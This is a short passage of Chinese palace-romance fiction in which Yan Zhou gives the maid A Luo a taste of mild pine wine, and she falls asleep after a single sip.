这坛酒不算烈，燕昼问她：“要不要尝尝什么滋味？” 阿罗拒绝了，“您喝吧，奴婢守着您，万一您喝醉了奴婢还能叫人送您出宫。要是咱们都醉了，岂不是要一起冻死在这里。” 知道他心情不好，没拦着他买醉，而是默默陪伴，为他善后。 她拒绝的理由总是叫人出乎意料，可燕昼却从那双会说话的眼睛里看出了跃跃欲试。 新鲜的事物，到底让人心动。 两指虚握住腕骨，不由分说把酒坛塞进她的手中，“尝尝吧，这坛是松醪酒，喝一口醉不了人。” 松醪酒是用松脂、松花酿成的米酒，带着点清淡松香，口感醇厚，他带过来赏月喝的，不是醉人的烈酒。 他就没见谁喝这种酒醉过。 “真的吗？”星星落入眼睛，阿罗两手捧着酒坛，大人说不会醉，就肯定不会醉，“那奴婢尝一口。” 小啜一口，甘甜，雪后松林的气息缠绕而来，化作一道暖流沉入小腹，顺着血流冲入四肢百骸，身体热起来，苍白的脸颊也透出淡淡的绯色。 “好喝。”她笑了笑，如初春原野绽放的小花。燕昼也跟着她笑，随手开了另一坛，是他喝的剑南烧春，名副其实的烈酒，“要不要再尝尝这一坛……哎？” 开坛酒的功夫，回身就见小娘子抱着酒坛，伏在膝头，两眼轻阖，颧骨已然浮起红云。 燕昼凑到耳边，轻声唤：“罗小娘子？” 没有反应。 单指探在鼻下，呼吸绵长均匀。 燕昼愕然：“竟是个一杯倒？” 紧接着，他想到一件更棘手的事：他要怎么把她给送回去？